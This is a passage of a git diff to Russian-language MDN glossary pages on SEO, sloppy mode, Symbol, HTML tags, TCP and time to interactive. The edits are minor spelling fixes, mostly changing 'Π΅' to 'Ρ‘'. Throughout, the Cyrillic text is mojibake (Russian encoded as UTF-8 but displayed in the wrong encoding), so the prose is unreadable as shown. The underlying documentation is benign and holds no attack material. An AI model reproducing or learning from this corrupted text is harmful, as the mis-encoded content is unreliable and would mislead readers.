+<p>ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ систСмы ΠΈΡΡΠ»Π΅Π΄ΡƒΡŽΡ‚ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚, пСрСходят ΠΏΠΎ ссылкам со страницы Π½Π° страницу ΠΈ ΠΈΠ½Π΄Π΅ΠΊΡΠΈΡ€ΡƒΡŽΡ‚ Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. Когда Π²Ρ‹ ΠΈΡ‰ΠΈΡ‚Π΅ Ρ‡Ρ‚ΠΎ Ρ‚ΠΎ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, поисковыС систСмы ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ индСксированный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.Β  Π‘ΠΊΠ°Π½Π½Π΅Ρ€Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡΒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌΠΈ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠ°ΠΌΠΈ. Если Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π·Π½Π°Ρ‚ΡŒ ΠΈ Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ  этим ΠΏΡ€Π°Π²ΠΈΠ»Π°ΠΌ, ΠΊΠΎΠ³Π΄Π° внСдряСтС SEO для сайта, Ρƒ Ρ‚Π°ΠΊΠΎΠ³ΠΎ сайта Π±ΡƒΠ΄ΡƒΡ‚ Π±ΠΎΠ»Π΅Π΅ высокиС ΡˆΠ°Π½ΡΡ‹ ΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ Π² числС ΠΏΠ΅Ρ€Π²Ρ‹Ρ… Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² поискового запроса, Π° ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ - Π±ΠΎΠ»Π΅Π΅ высокий Ρ‚Ρ€Π°Ρ„ΠΈΠΊ ΠΈ, ΠΊΠ°ΠΊ слСдствиС - Π΄ΠΎΡ…ΠΎΠ΄ (для ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄Π°ΠΆ ΠΈ Ρ€Π΅ΠΊΠ»Π°ΠΌΡ‹).</p>
<p>ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ систСмы Π΄Π°ΡŽΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ для SEO, Π½ΠΎ большиС поисковыС систСмы ΡΠΎΡ…Ρ€Π°Π½ΡΡŽΡ‚ Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΡ‹Β ΠΈΒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ поиска ΠΊΠ°ΠΊ ΠΊΠΎΠΌΠΌΠ΅Ρ€Ρ‡Π΅ΡΠΊΡƒΡŽ Ρ‚Π°ΠΉΠ½Ρƒ. SEO ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΠ΅Ρ‚ Π² сСбС Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ поисковых систСм содСрТащиСся Π² свободном доступС, эмпиричСский ΠΎΠΏΡ‹Ρ‚ ΠΈ тСорСтичСскиС знания, ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΏΡ‹Π²Π°Π΅ΠΌΡ‹Π΅ ΠΈΠ· Π½Π°ΡƒΡ‡Π½Ρ‹Ρ… статСй ΠΈ ΠΏΠ°Ρ‚Π΅Π½Ρ‚ΠΎΠ².</p>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ SEO дСлятся Π½Π° Ρ‚Ρ€ΠΈ ΠΎΠ±ΡŠΠ΅ΠΌΠ½Ρ‹Ρ… класса:</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹ SEO дСлятся Π½Π° Ρ‚Ρ€ΠΈ ΠΎΠ±ΡŠΡ‘ΠΌΠ½Ρ‹Ρ… класса:</p>
<dl>
<dt>тСхничСский</dt>
diff --git a/files/ru/glossary/sloppy_mode/index.html b/files/ru/glossary/sloppy_mode/index.html
index 6d3dbbc743..b123302698 100644
--- a/files/ru/glossary/sloppy_mode/index.html
+++ b/files/ru/glossary/sloppy_mode/index.html
@@ -9,7 +9,7 @@ tags:
translation_of: Glossary/Sloppy_mode
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Sloppy_mode
---
-<p>{{Glossary("ECMAScript")}} 5 ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ вСрсии Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ скрипты Π² <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">Π‘Ρ‚Ρ€ΠΎΠ³ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ измСняСт сСмантику JavaScript для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ происходит Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ.</p>
+<p>{{Glossary("ECMAScript")}} 5 ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ вСрсии Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ скрипты Π² <a href="/ru/docs/Web/JavaScript/Reference/Strict_mode">Π‘Ρ‚Ρ€ΠΎΠ³ΠΎΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ΅</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ измСняСт сСмантику JavaScript для ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ ΡΡ‚Π°Π±ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ, ΠΈ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ происходит Π² ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ΅ ΠΏΡ€ΠΈ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠΈ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ.</p>
<p>ΠžΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ, нСстрогий, Ρ€Π΅ΠΆΠΈΠΌ выполнСния JavaScript ΠΈΠ½ΠΎΠ³Π΄Π° называСтся <strong>Грязным Ρ€Π΅ΠΆΠΈΠΌΠΎΠΌ </strong>(Sloppy mode). Π­Ρ‚ΠΎ Π½Π΅ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠ΅ Π½Π°Π·Π²Π°Π½ΠΈΠ΅, Π½ΠΎ Π²Ρ‹, вСроятно, ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡŒ с Π½ΠΈΠΌ ΠΏΡ€ΠΈ ΡΠ΅Ρ€ΡŒΡ‘Π·Π½ΠΎΠΉ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π½Π° JavaScript.</p>
diff --git a/files/ru/glossary/symbol/index.html b/files/ru/glossary/symbol/index.html
index 355d8f2e53..d5e3b4443a 100644
--- a/files/ru/glossary/symbol/index.html
+++ b/files/ru/glossary/symbol/index.html
@@ -4,16 +4,16 @@ slug: Glossary/Symbol
translation_of: Glossary/Symbol
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Symbol
---
-<p>На этой страницС описываСтся Ρ‚ΠΈΠΏ данных «символ» ΠΈ функция Β«{{jsxref("Symbol")}}<code>()</code>Β», которая (срСди ΠΏΡ€ΠΎΡ‡Π΅Π³ΠΎ) создаСт экзСмпляры типа «символ».</p>
+<p>На этой страницС описываСтся Ρ‚ΠΈΠΏ данных «символ» ΠΈ функция Β«{{jsxref("Symbol")}}<code>()</code>Β», которая (срСди ΠΏΡ€ΠΎΡ‡Π΅Π³ΠΎ) создаёт экзСмпляры типа «символ».</p>
<p><strong>Symbol​</strong><strong> </strong>(Π‘ΠΈΠΌΠ²ΠΎΠ») β€”Β ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ Π΄Π°Π½Π½Ρ‹Ρ…, экзСмпляры ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹Β ΠΈ нСизмСняСмы. Π’ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… языках программирования символы такТС Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚ΡΡ Π°Ρ‚ΠΎΠΌΠ°ΠΌΠΈ.</p>
-<p>Π’ срСдС выполнСния JavaScript Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ «символа» создаСтся ΠΏΡƒΡ‚Π΅ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Symbol (), которая динамичСски создаСт Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠ΅ ΠΈ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ЕдинствСнноС Ρ€Π°Π·ΡƒΠΌΠ½ΠΎΠ΅ использованиС β€”Β ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ символ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сохранСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для создания свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ…Ρ€Π°Π½ΠΈΡ‚ символ Π² Β«varΒ».</p>
+<p>Π’ срСдС выполнСния JavaScript Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ «символа» создаётся ΠΏΡƒΡ‚Ρ‘ΠΌ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Symbol (), которая динамичСски создаёт Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠ΅ ΠΈ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ЕдинствСнноС Ρ€Π°Π·ΡƒΠΌΠ½ΠΎΠ΅ использованиС β€”Β ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ символ, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сохранённоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ для создания свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ…Ρ€Π°Π½ΠΈΡ‚ символ Π² Β«varΒ».</p>
<pre class="brush: js">var myPrivateMethod = Symbol();
this[myPrivateMethod] = function() {...};</pre>
-<p>Когда символ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π² присваивании свойства, свойство (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, символ) являСтся Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌ; Π°Β Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ исчислимым. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ свойство Π½Π΅ исчислимо, ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡΒ Π²Β Ρ†ΠΈΠΊΠ»Π΅Β Β«for (... in ...)Β», ΠΈ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ свойство являСтся Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌ, ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² массивС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² "Object.getOwnPropertyNames ()". Доступ ΠΊ этому свойству ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ исходного значСния символа, создавшСго Π΅Π³ΠΎ, ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ итСрирования Π² массивС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Β«Object.getOwnPropertySymbols ()Β». Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ΄Π° доступ ΠΊ свойству Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ сохранСно Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ myPrivateMethod.</p>
+<p>Когда символ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π² присваивании свойства, свойство (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, символ) являСтся Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌ; Π°Β Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ исчислимым. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ свойство Π½Π΅ исчислимо, ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡΒ Π²Β Ρ†ΠΈΠΊΠ»Π΅Β Β«for (... in ...)Β», ΠΈ ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ свойство являСтся Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌ, ΠΎΠ½ΠΎ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π² массивС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² "Object.getOwnPropertyNames ()". Доступ ΠΊ этому свойству ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ исходного значСния символа, создавшСго Π΅Π³ΠΎ, ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ итСрирования Π² массивС Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Β«Object.getOwnPropertySymbols ()Β». Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΊΠΎΠ΄Π° доступ ΠΊ свойству Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²Π»ΡΡ‚ΡŒΡΡ Ρ‡Π΅Ρ€Π΅Π· Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ сохранСно Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ myPrivateMethod.</p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС">Π£Π·Π½Π°Ρ‚ΡŒ большС</h2>
diff --git a/files/ru/glossary/tag/index.html b/files/ru/glossary/tag/index.html
index b782b715ea..60a39ba7b6 100644
--- a/files/ru/glossary/tag/index.html
+++ b/files/ru/glossary/tag/index.html
@@ -9,7 +9,7 @@ tags:
translation_of: Glossary/Tag
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Π’Π΅Π³
---
-<p>Π’Β {{Glossary("HTML")}} Ρ‚Π΅Π³ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для создания {{Glossary("Π­Π»Π΅ΠΌΠ΅Π½Ρ‚", "элСмСнтов")}}. <strong>Имя</strong> HTML элСмСнта - это <strong>имя</strong> Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠ΅ Π² ΡƒΠ³Π»ΠΎΠ²Ρ‹Π΅ скобки, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ &lt;p&gt; для "Π°Π±Π·Π°Ρ†Π°". ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΒ ΠΊΠΎΠ½Ρ†ΡƒΒ <strong>ΠΈΠΌΠ΅Π½ΠΈ</strong>Β ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ символ косой Ρ‡Π΅Ρ€Ρ‚Ρ‹ (слСша),Β "&lt;/p&gt;", ΠΈ Ρ‡Ρ‚ΠΎ Π² пустых элСмСнтах Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ Π½Π΅ трСбуСтся ΠΈΒ Π½Π΅ допускаСтся. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹, Ρ‚ΠΎ для Π½ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.Β </p>
+<p>Π’Β {{Glossary("HTML")}} Ρ‚Π΅Π³ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для создания {{Glossary("Π­Π»Π΅ΠΌΠ΅Π½Ρ‚", "элСмСнтов")}}. <strong>Имя</strong> HTML элСмСнта - это <strong>имя</strong> Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠ΅ Π² ΡƒΠ³Π»ΠΎΠ²Ρ‹Π΅ скобки, ΠΊΠ°ΠΊ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ &lt;p&gt; для "Π°Π±Π·Π°Ρ†Π°". ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎΒ ΠΊΠΎΠ½Ρ†ΡƒΒ <strong>ΠΈΠΌΠ΅Π½ΠΈ</strong>Β ΠΏΡ€Π΅Π΄ΡˆΠ΅ΡΡ‚Π²ΡƒΠ΅Ρ‚ символ косой Ρ‡Π΅Ρ€Ρ‚Ρ‹ (слСша),Β "&lt;/p&gt;", ΠΈ Ρ‡Ρ‚ΠΎ Π² пустых элСмСнтах Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ Π½Π΅ трСбуСтся ΠΈΒ Π½Π΅ допускаСтся. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹, Ρ‚ΠΎ для Π½ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.Β </p>
<h2 id="Π£Π·Π½Π°Ρ‚ΡŒ_большС"><strong>Π£Π·Π½Π°Ρ‚ΡŒ большС</strong></h2>
diff --git a/files/ru/glossary/tcp/index.html b/files/ru/glossary/tcp/index.html
index 5fce8d8bbf..0a3c72fd21 100644
--- a/files/ru/glossary/tcp/index.html
+++ b/files/ru/glossary/tcp/index.html
@@ -10,7 +10,7 @@ tags:
translation_of: Glossary/TCP
original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/TCP
---
-<p id="Summary"><strong>TCP (ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» УправлСния ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉ)</strong> - Π²Π°ΠΆΠ½Ρ‹ΠΉ {{Glossary("protocol", "ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»")}} сСти ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π΄Π²ΡƒΠΌ хостам ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ соСдинСниС ΠΈ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. TCP Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ доставку Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹. Π’ΠΈΠ½Ρ‚ Π‘Π΅Ρ€Ρ„ ΠΈ Π‘ΠΎΠ± Кан, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² Ρ‚ΠΎ врСмя Π±Ρ‹Π»ΠΈ ΡƒΡ‡Π΅Π½Ρ‹ΠΌΠΈ DARPA, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ TCP Π² 1970-Ρ… Π³ΠΎΠ΄Π°Ρ….</p>
+<p id="Summary"><strong>TCP (ΠŸΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» УправлСния ΠŸΠ΅Ρ€Π΅Π΄Π°Ρ‡Π΅ΠΉ)</strong> - Π²Π°ΠΆΠ½Ρ‹ΠΉ {{Glossary("protocol", "ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»")}} сСти ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ позволяСт Π΄Π²ΡƒΠΌ хостам ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ соСдинСниС ΠΈ ΠΎΠ±ΠΌΠ΅Π½ΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΏΠΎΡ‚ΠΎΠΊΠ°ΠΌΠΈ Π΄Π°Π½Π½Ρ‹Ρ…. TCP Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ доставку Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π² Ρ‚ΠΎΠΌ ΠΆΠ΅ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹. Π’ΠΈΠ½Ρ‚ Π‘Π΅Ρ€Ρ„ ΠΈ Π‘ΠΎΠ± Кан, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π² Ρ‚ΠΎ врСмя Π±Ρ‹Π»ΠΈ ΡƒΡ‡Ρ‘Π½Ρ‹ΠΌΠΈ DARPA, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΈ TCP Π² 1970-Ρ… Π³ΠΎΠ΄Π°Ρ….</p>
<p>Роль TCP Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² обСспСчСнии Π½Π°Π΄Ρ‘ΠΆΠ½ΠΎΠΉ доставки ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Π±Π΅Π· ошибок. TCP ΠΈΠΌΠ΅Π΅Ρ‚ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒ ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ, Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ ΠΏΠ°ΠΊΠ΅Ρ‚Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ΡΡ с нСбольшого Ρ€Π°Π·ΠΌΠ΅Ρ€Π°, ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°ΡΡΡŒ Π² Ρ€Π°Π·ΠΌΠ΅Ρ€Π°Ρ… Π΄ΠΎ ΡƒΡ€ΠΎΠ²Π½Π΅ΠΉ пропускной способности, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Ρ‹, сСрвСры ΠΈ ΡΠ΅Ρ‚ΡŒ.</p>
diff --git a/files/ru/glossary/time_to_interactive/index.html b/files/ru/glossary/time_to_interactive/index.html
index e4c40b18cb..06a5830a13 100644
--- a/files/ru/glossary/time_to_interactive/index.html
+++ b/files/ru/glossary/time_to_interactive/index.html
@@ -10,7 +10,7 @@ original_slug: Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/Time_to_interactive
<h4 id="ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π΅Ρ€Π΅ΠΆΠ΅Π½ΠΈΠ΅">ΠŸΡ€Π΅Π΄ΠΎΡΡ‚Π΅Ρ€Π΅ΠΆΠ΅Π½ΠΈΠ΅</h4>
